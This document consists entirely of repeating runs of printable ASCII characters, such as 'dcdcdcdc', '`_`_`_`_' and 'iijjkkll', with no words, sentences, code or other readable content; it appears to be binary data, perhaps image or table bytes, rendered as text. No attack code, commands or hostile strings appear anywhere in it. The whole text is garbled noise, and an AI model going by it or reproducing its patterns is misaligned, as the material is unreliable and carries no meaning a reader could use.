dcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJEFEFEFEFABABABAB?@?@?@?@;<;<;<;<878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_\[\[\[\[ZYZYXWXWUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIHEFEFEFEFABABABAB?@?@?@?@;<;<;<;;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_\[\[\[\[XWXWWWWWUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;;;;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     dcdcdcdc`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;<;878787876565654321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - -dcdcdcdc`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?>=><;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -dcdcdcdc`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=><;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUVQRQRQRQROPOPOPOPKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=><;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUVQRQRQRQROPOPOPONKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=><;<;<;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%$#"!"!"!"!     - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWWUVUVUVUVQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=><;;;;;<;878787874343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!"!"!"!     - - - -babababa`_`_`_`_\[\[\[\[WWWWXWXWUVUVUVUVQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=><;<;<;:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#"!        - - - -babababa`_`_`_`_\[\[\[\[XWXWXWXWUVUVUVUVQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#       - - - -babababa`_`_`_`_\[\[\[\[XWXWXWXWUVUVUVUVQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[XWXWXWXWUVUVUVUVQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+,+('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[XWXWXWXWUVUVUVUTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-,+,+,+*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[XWWWWWWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#       - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:9878787874343434321212121.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343432121210/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa`_`_`_`_\[\[\[\[WXWXWWWWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa^]^]^]^]\[\[\[\[WWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNKLKLKLKJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#       - - - -babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#         - - - -babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:987878765434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#       - - - -babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - -babababa^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - -babababa^]^]^]^]\[\[\[\[WWWWWXWXSTSTSTSTQRQRQRQRMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - -babababa^]^]^]^]\[\[\[\[WXWXWXWXSTSTSTSTQRQRQRQPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('&%$#$#$#$#  - - - -babababa^]^]^]^]\[\[\[ZYWXWXWXWXSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYWXWXWXWXSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYWXWXWXWXSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYWXWXWXWXSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCDABABABA@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYWXWWWWWXSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYWXWXWXWVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@=>=<;<;<:9:9:9:965656565434343430/0/0/0/.-.-.-,+*)*)*)*)&%&%&%&%$#$#$#$#    - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@;<;;;;;;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#    - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHCDCDCDCD?@?@?@?@<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#"!"!     - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGFCDCDCDCD?@?@?@?@<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - -babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;<;:9:9:9:965656565434343210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@<;<;<;;;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!   babababa^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;;;<;<;<:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!   `_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUVSTSTSTSTOPOPOPOPMNMNMNMNIJIJIJIJEFEFEFEFCDCDCDCD?@?@?@?@;<;<;<;<:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"! iijjkkllaabbccdd@AABBCCDA@@??>>=~~}pqqrrsst01122334 BAA;;::9OONNMMLLiijjkkll))**++,,mmnnooppeeffgghhDEEFFGGH=<<;;::9}||{{zzytuuvvwwx45566778 - - 98877665KKJJIIHHmmnnoopp--..//00qqrrssttiijjkkllHIIJJKKL - - 98877665yxxwwvvuxyyzz{{|899::;;< 54433221GGFFEEDD~~}}qqrrsstt11223344 uuvvwwxxmmnnooppLMMNNOOP 54433221uttssrrq|}}~~<==>>??@100//..-CCBBAA@?||{{zzyyuuvvwwxx55667788 - - yyzz{{||qqrrssyyPQQRRSST100//..-qppoonnm@AABBCCD-,,++**)>=<;;::9xxwwvvuuyyzz{{||99::;;<<}}~~zz{{||}}TUUVVWWX-,,++**)mllkkjjiDEEFFGGH)((''&&%98877665ttssrrqq}}~~==>>??@@~~}}~~XYYZZ[[\)((''&&%ihhggffeHIIJJKKL - - %54433221ppoonnmmAABBCCDD||{{zzyy\]]^^__` %$$##""!eddccbbaLMMNNOOP 100//..-llkkjjiiEEFFGGHHxxwwvvuu`aabbccd !!""##$! a``__^^]PQQRRSST-,,++**)hhggffeeIIJJKKLL - - ttssrrqqdeeffggh$%%&&''(]\\[[ZZYTUUVVWWX)((''&&%ddccbbaaMMNNOOPP ppoonnmmhiijjkkl())**++,YXXWWVVUXYYZZ[[\ %$#"! ``__^^]]QQRRSSTTllkkjjiilmmnnoop,--..//0UTTSSRRQ\]]^^__` - - \\[[ZZYYUUVVWWXXhhggffeepqqrrsst01122334 QPPOONNM`aabbccd !!""##$XXWWVVUUYYZZ[[\\ddccbbaatuuvvwwx45566778 - - MLLKKJJIdeeffggh$%%&&''( TTSSRRQQ]]^^__`` ``__^^]]xyyzz{{|899::;;< IHHGGFFEhiijjkkl())**++, - - PPOONNMMaabbccdd!!""##$$\\[[ZZYY|}}~~<==>>??@EDDCCBBAlmmnnoop,--..//0  LLKKJJIIeeffgghh%%&&''((XXWWVVUU@AABBCCDA@@??>>=~~}pqqrrsst01122334 - - HHGGFFEEiijjkkll))**++,,TTSSRRQQ~~}}||~~}}|DEEFFGGH=<<;;::9}||{{zzytuuvvwwx45566778DDCCBBAAmmnnoopp--..//00PPOONNMM{{zzyyss|{{zzyyxHIIJJKKL - - 98877665yxxwwvvuxyyzz{{|899::;;<@@??>>==~~}}qqrrsstt11223344LLKKJJIIrrqqppoowvutssrrLMMNNOOP 54433221uttssrrq|}}~~<==>>??@%%&<<;;::99||{{zzyyuuvvwwxx55667788HHGGFFEEnnmmllkkqqppoonnPQQRRSST100//..-qppoonnm@AABBCCD&''(())* - - 88776655xxwwvvuuyyzz{{||99::;;<>??@@@@??>>==ffeeddcciihhggffXYYZZ[[\)((''&&%ihhggffeHIIJJKKL.//0011200//..--ppoonnmmAABBCCDD<<;;::99bbaa``__eeddccbb\]]^^__` %$$##""!eddccbbaLMMNNOOP23344556,,++**))llkkjjiiEEFFGGHH88776655^^]]WWVVaa``__^^`aabbccd !!""##$! a``__^^]PQQRRSST6778899:((''&&%%hhggffeeIIJJKKLL44332211UUTTSSRR]]\[ZYXWdeeffggh$%%&&''(]\\[[ZZYTUUVVWWX:;;AABBC $$##""!!ddccbbaaMMNNOOPP00//..--QQPPOONNWVVUUTTShiijjkkl())**++,YXXWWVVUXYYZZ[[\CDDEEFFG!!""##$$ ``__^^]]QQRRSSTT,,++**))MMLLKKJJSRRQQPPOlmmnnoop,--..//0UTTSSRRQ\]]^^__`GHHIIJJK%%&&''((\\[[ZZYYUUVVWWXX((''&&%%IIHHGGFFONNMMLLK~~}pqqrrsst01122334 QPPOONNM`aabbccdKLLMMNNO))**++,,XXWWVVUUYYZZ[[\\$$##""!!EEDDCCBBKJJIIHHG}||{{zzytuuvvwwx45566778 - - MLLKKJJIdeeffgghOPPQQRRS--..//00TTSSRRQQ]]^^__`` AA;;::99GFFEEDDCyxxwwvvuxyyzz{{|899::;;< IHHGGFFEhiijjkklSTTUUVVW11223344 PPOONNMMaabbccdd88776655CBBAA@?>uttssrrq|}}~~<==>>??@EDDCCBBAlmmnnoopW]]^^__`55667788 - - LLKKJJIIeeffgghh44332211=<;;::99qppoonnm@AABBCCDA@@??>>=~~}pqqrrsst`aabbccd99::;;<<HHGGFFEEiijjkkll00//..--88776655mllkkjjiDEEFFGGH=<<;;::9}||{{zzytuuvvwwxdeeffggh==>>??@@DDCCBBAAmmnnoopp ,,++**))44332211ihhggffeHIIJJKKL - - 98877665yxxwwvvuxyyzz{{|hiijjkklAABBCCDD@@??>>==~~}}qqrrsstt - - ((''&&%%00//..--eddccbbaLMMNNOOP 54433221uttssrrq|}}~~lmmnnoopEEFFGGHH<<;;::99||{{zzyyuuvvwwxx - - ,,++**))a``__^^]PQQRRSST100//..-qppoonnmpqqrrssyIIJJKKLL - - 88776655xxwwvvuuyyzz{{|| ((''&&%%]\\[[ZZYTUUVVWWX-,,++**)mllkkjjiyzz{{||}MMNNOOPP 44332211ttssrrqq}}~~$#"! YXXWWVVUXYYZZ[[\)((''&&%ihhggffe}~~QQRRSSTT00//..--ppoonnmmUTTSSRRQ\]]^^__` %$$##""!eddccbbaUUVVWWXX,,++**))llkkjjii QPPOONNM`aabbccd !!""##$! a``__^^]YYZZ[[\\((''&&%%hhggffee - - MLLKKJJIdeeffggh$%%&&''(]\\[[ZZY]]^^__`` $$##""!!ddccbbaa!!""##$$ - - IHHGGFFEhiijjkkl())**++,YXXWWVVUaabbccdd!!""##$$ ``__^^]]%%&&''(( -EDDCCBBAlmmnnoop,--..//0UTTSSRRQeeffgghh%%&&''((\\[[ZZYY))**++,, - A@@??>>=~~}pqqrrsst01122334 QPPOONNMiijjkkll))**++,,XXWWVVUU--..//00=<<;;::9}||{{zzytuuvvwwx45566778 - - MLLKKJJImmnnoopp--..//00TTSSRRQQ11223344 - - 98877665yxxwwvvuxyyzz{{|899::;;< IHHGGFFEqqrrsstt11223344 PPOONNMM55667788%%&& 54433221uttssrrq|}}~~<==>>??@EDDCCBBA~~}}|uuvvwwxx55667788 - - LLKKJJII99::;;<<''(())**100//..-qppoonnm@AABBCCDA@@??>>=|{{zzyysyyzz{{||99::;;<<HHGGFFEE==>>??@@++,,--..-,,++**)mllkkjjiDEEFFGGH=<<;;::9srrqqppo~~}}}}~~==>>??@@DDCCBBAAAABBCCDD//001122)((''&&%ihhggffeHIIJJKKL - - 98877665onnmmllk||{{zzyyAABBCCDD@@??>>==~~}}EEFFGGHH33445566 %$$##""!eddccbbaLMMNNOOP 54433221kjjiihhgxwvutssrEEFFGGHH<<;;::99||{{zzyyIIJJKKLL778899:: !!""##$! a``__^^]PQQRRSST100//..-gffeeddcrqqppoonIIJJKKLL - - 88776655xxwwvvuuMMNNOOPP;;AABBCC$%%&&''(]\\[[ZZYTUUVVWWX-,,++**)cbbaa``_nmmllkkjMMNNOOPP 44332211ttssrrqqQQRRSSTTDDEEFFGG())**++,YXXWWVVUXYYZZ[[\)((''&&%_^^]]WWVjiihhggfQQRRSSTT00//..--ppoonnmmUUVVWWXXHHIIJJKK,--..//0UTTSSRRQ\]]^^__` %$$##""!VUUTTSSRfeeddccbUUVVWWXX,,++**))llkkjjiiYYZZ[[\\LLMMNNOO01122334 QPPOONNM`aabbccd !!""##$! RQQPPOONbaa``__^YYZZ[[\\((''&&%%hhggffee]]^^__``PPQQRRSS45566778 - - MLLKKJJIdeeffggh$%%&&''(NMMLLKKJ^]]\[ZYX]]^^__`` $$##""!!ddccbbaaaabbccddTTUUVVWW899::;;< IHHGGFFEhiijjkkl())**++,JIIHHGGFWWVVUUTTaabbccdd!!""##$$ ``__^^]]eeffgghh]]^^__``<==>>??@EDDCCBBAlmmnnoop,--..//0FEEDDCCBSSRRQQPPeeffgghh%%&&''((\\[[ZZYYXXWWVVUUTTSSRRQQ]]^^__``HHIIJJKK%&&''(()\[[ZZYYXUVVWWXXY,++**))(baa``__^mllkkjjiNNOOPPQQ33221100ssrrqqpp~~>>??@@AA%%&&'' -;::99887{zzyyxxwvwwxxyyz6778899: - - KJJIIHHGuttssrrqPPOONNMMaabbccddLLMMNNOO)**++,,-XWWVVUUTYZZ[[\\](''&&%%$^]]WWVVUihhggffeRRSSTTUU//..--,,oonnmmllBBCCDDEE(())**++ - 76655443wvvuuttsz{{||}}~:;;<<==>GFFEEDDC~~}}||{qppoonnmLLKKJJIIeeffgghhPPQQRRSS-..//001TSSRRQQP]^^__``a !$##""!! UTTSSRRQeddccbbaVVWWXXYY++**))((kkjjiihhFFGGHHII,,--..//3221100/srrqqppo~>??@@AABCBBAA@@?{zzyyssrmllkkjjiHHGGFFEEiijjkkllTTUUVVWW12233445 POONNMMLabbccdde!""##$$% QPPOONNMa``__^^]ZZ[[\\]]''&&%%$$ggffeeddJJKKLLMM00112233/..--,,+onnmmllkBCCDDEEF?>>==<<;rqqppoonihhggffeDDCCBBAAmmnnoopp]]^^__``56677889 - - LKKJJIIHeffgghhi%&&''(()MLLKKJJI]\[ZYXWW^^__``aa !!##""!! ccbbaa``NNOOPPQQ44556677+**))(('kjjiihhgFGGHHIIJ -;::99887nmmllkkjeddccbba@@??>>==~~}}qqrrssttaabbccdd9::;;<<=HGGFFEEDijjkkllm)**++,,-IHHGGFFEVVUUTTSSbbccddee""##$$%%__^^]]\\RRSSTTUU8899::;;'&&%%$$#gffeeddcJKKLLMMN - 76655443jiihhggfa``__^^]<<;;::99||{{zzyyuuvvwwxxeeffgghh=>>??@@ADCCBBAA@mnnooppq-..//001EDDCCBBARRQQPPOOffgghhii&&''(())[[ZZYYXXVVWWXXYYAABBCCDD !!"#""!! cbbaa``_NOOPPQQR3221100/feeddccb]\\[[ZZY88776655xxwwvvuuyyzz{{||iijjkkllABBCCDDE@??>>==<~~}}|qrrssttu12233445 A;;::998NNMMLLKKjjkkllmm**++,,--WWVVUUTTZZ[[\\]]EEFFGGHH"##$$%%&_^^]]\\[RSSTTUUV/..--,,+baa``__^YXXWWVVU44332211ttssrrqq}}~~mmnnooppEFFGGHHI <;;::998|{{zzyyxuvvwwxxy56677889 - - 87766554JJIIHHGGnnooppqq..//0011SSRRQQPP^^__``aaIIJJKKLL&''(())*[ZZYYXXWVWWXXYYZ+**))(('^]]WWVVUUTTSSRRQ00//..--ppoonnmmqqrrssyyIJJKKLLM - - 87766554xwwvvuutyzz{{||}9::;;<<=43322110FFEEDDCC~~}}||rrssttuu22334455 OONNMMLLbbccddeeMMNNOOPP*++,,--.WVVUUTTSZ[[\\]]^'&&%%$$#UTTSSRRQQPPOONNM,,++**))llkkjjiizz{{||}}MNNOOPPQ 43322110tssrrqqp}~~=>>??@@A0//..--,BBAA@?>={{zzyyxxvvwwxxyy66778899 - - KKJJIIHHffgghhiiQQRRSSTT.//00112SRRQQPPO^__``aab !!"#""!! QPPOONNMMLLKKJJI((''&&%%hhggffee~~QRRSSTTU0//..--,poonnmmlABBCCDDE,++**))(<;;::998wwvvuuttzz{{||}}::;;<<==GGFFEEDDjjkkllmmUUVVWW]]23344556 ONNMMLLKbccddeef"##$$%%&MLLKKJJIIHHGGFFE$$##""!!ddccbbaaUVVWWXXY,++**))(lkkjjiihEFFGGHHI (''&&%%87766554ssrrqqpp~~>>??@@AACCBBAA@@nnooppqq^^__``aa6778899: - - KJJIIHHGfgghhiij&''(())*IHHGGFFEEDDCCBBA ``__^^]]YZZ[[\\](''&&%%$hggffeedIJJKKLLM - - 43322110oonnmmllBBCCDDEE??>>==<<~~}}||rrssttuubbccddee:;;<<==>GFFEEDDCjkkllmmn*++,,--.EDDCCBBAA@@??>>=\\[[ZZYY]^^__``a !$##""!! dccbbaa`MNNOOPPQ 0//..--,kkjjiihhFFGGHHII ;;::9988{{zzyyxxvvwwxxyyffgghhii>??@@AABCBBAA@@?nooppqqr.//00112A;;::998=<<;;::9XXWWVVUUabbccdde!""##$$% `__^^]]\QRRSSTTU,++**))(ggffeeddJJKKLLMM - - 77665544wwvvuuttzz{{||}}jjkkllmmBCCDDEEF?>>==<<;~~}}||{rssttuuv23344556 8776655498877665TTSSRRQQeffgghhi%&&''(()\[[ZZYYXUVVWWXXY(''&&%%$ccbbaa``NNOOPPQQ33221100ssrrqqpp~~nnooppqqFGGHHIIJ -;::99887{zzyyxxwvwwxxyyz6778899: - - 4332211054433221 PPOONNMMijjkkllm)**++,,-XWWVVUUTYZZ[[\\] #"! __^^]]\\RRSSTTUU//..--,,oonnmmllrrssyyzzJKKLLMMN - 76655443wvvuuttsz{{||}}~:;;<<==>0//..--,100//..- - - LLKKJJIImnnooppq-..//001TSSRRQQP]^^__``a ! - - [[ZZYYXXVVWWXXYY++**))((kkjjiihh{{||}}~~NOOPPQQR3221100/srrqqppo~>??@@AAB,++**))(-,,++**)HHGGFFEEqrrssttu12233445 POONNMMLabbccdde!""##$$%WWVVUUTTZZ[[\\]]''&&%%$$ggffeeddRSSTTUUV/..--,,+onnmmllkBCCDDEEF(''&&%%)((''&&%DDCCBBAA~~}}||uvvwwxxy56677889 - - LKKJJIIHeffgghhi%&&''(() -SSRRQQPP^^__``aa !!##""!! ccbbaa``VWWXXYYZ+**))(('kjjiihhgFGGHHIIJ -%$$##""!@@??>>=={{zzyyssyzz{{||}9::;;<<=HGGFFEEDijjkkllm)**++,,- - OONNMMLLbbccddee""##$$%%__^^]]\\Z[[\\]]^'&&%%$$#gffeeddcJKKLLMMN - ! <<;;::99rrqqppoo~~}}|}~~=>>??@@ADCCBBAA@mnnooppq-..//001 - -KKJJIIHHffgghhii&&''(())[[ZZYYXX^__``aab !!"#""!! cbbaa``_NOOPPQQR - - 88776655nnmmllkk|{{zzyyxABBCCDDE@??>>==<~~}}|qrrssttu12233445 GGFFEEDDjjkkllmm**++,,--WWVVUUTTbccddeef"##$$%%&_^^]]\\[RSSTTUUV 44332211jjiihhggwvutssrrEFFGGHHI <;;::998|{{zzyyxuvvwwxxy56677889CCBBAA@@nnooppqq..//0011SSRRQQPPfgghhiij&''(())*[ZZYYXXWVWWXXYYZ 00//..--ffeeddccqqppoonnIJJKKLLM - - 87766554xwwvvuutyzz{{||}9::;;<<=??>>==<<~~}}||rrssttuu22334455 OONNMMLLjkkllmmn*++,,--.WVVUUTTSZ[[\\]]^ - - - ,,++**))bbaa``__mmllkkjjMNNOOPPQ 43322110tssrrqqp}~~=>>??@@A%%&&' ;;::9988{{zzyyxxvvwwxxyy66778899 - - KKJJIIHHnooppqqr.//00112SRRQQPPO^__``aab !!" -  - - ((''&&%%^^]]WWVViihhggffQRRSSTTU0//..--,poonnmmlABBCCDDE'(())**+ - - 77665544wwvvuuttzz{{||}}::;;<<==GGFFEEDDrssttuuv23344556 ONNMMLLKbccddeef"##$$%%& - -  $$##""!!UUTTSSRReeddccbbUVVWWXXY,++**))(lkkjjiihEFFGGHHI+,,--../33221100ssrrqqpp~~>>??@@AACCBBAA@@~~}}||{{vwwxxyyz6778899: - - KJJIIHHGfgghhiij&''(())* !!""##$$ QQPPOONNaa``__^^YZZ[[\\](''&&%%$hggffeedIJJKKLLM/0011223//..--,,oonnmmllBBCCDDEE??>>==<GFFEEDDCjkkllmmn*++,,--.%%&&''((MMLLKKJJ]]\[ZYXW]^^__``a !$##""!! dccbbaa`MNNOOPPQ34455667++**))((kkjjiihhFFGGHHII ;;::9988qqppoonn~~}}||{~>??@@AABCBBAA@@?nooppqqr.//00112))**++,,IIHHGGFFWVVUUTTSabbccdde!""##$$% `__^^]]\QRRSSTTU78899::;''&&%%$$ggffeeddJJKKLLMM - - 77665544mmllkkjj{zzyyxwvBCCDDEEF?>>==<<;~~}}||{rssttuuv23344556%%&&'--..//00EEDDCCBBSRRQQPPOeffgghhi%&&''(()\[[ZZYYXUVVWWXXY;AABBCCD !!##""!! ccbbaa``NNOOPPQQ33221100iihhggffutssrrqqFGGHHIIJ -;::99887{zzyyxxwvwwxxyyz6778899:'(())**+ 11223344 AA;;::99ONNMMLLKijjkkllm)**++,,-XWWVVUUTYZZ[[\\]DEEFFGGH""##$$%%__^^]]\\RRSSTTUU//..--,,eeddccbbppoonnmmJKKLLMMN - 76655443wvvuuttsz{{||}}~:;;<<==>+,,--../ !!""##$55667788 - - 88776655KJJIIHHGmnnooppq-..//001TSSRRQQP]^^__``aHIIJJKKL&&''(())[[ZZYYXXVVWWXXYY++**))((aa``__^^llkkjjiiNOOPPQQR3221100/srrqqppo~>??@@AAB/0011223$%%&&''(99::;;<<44332211GFFEEDDC~~}}|qrrssttu12233445 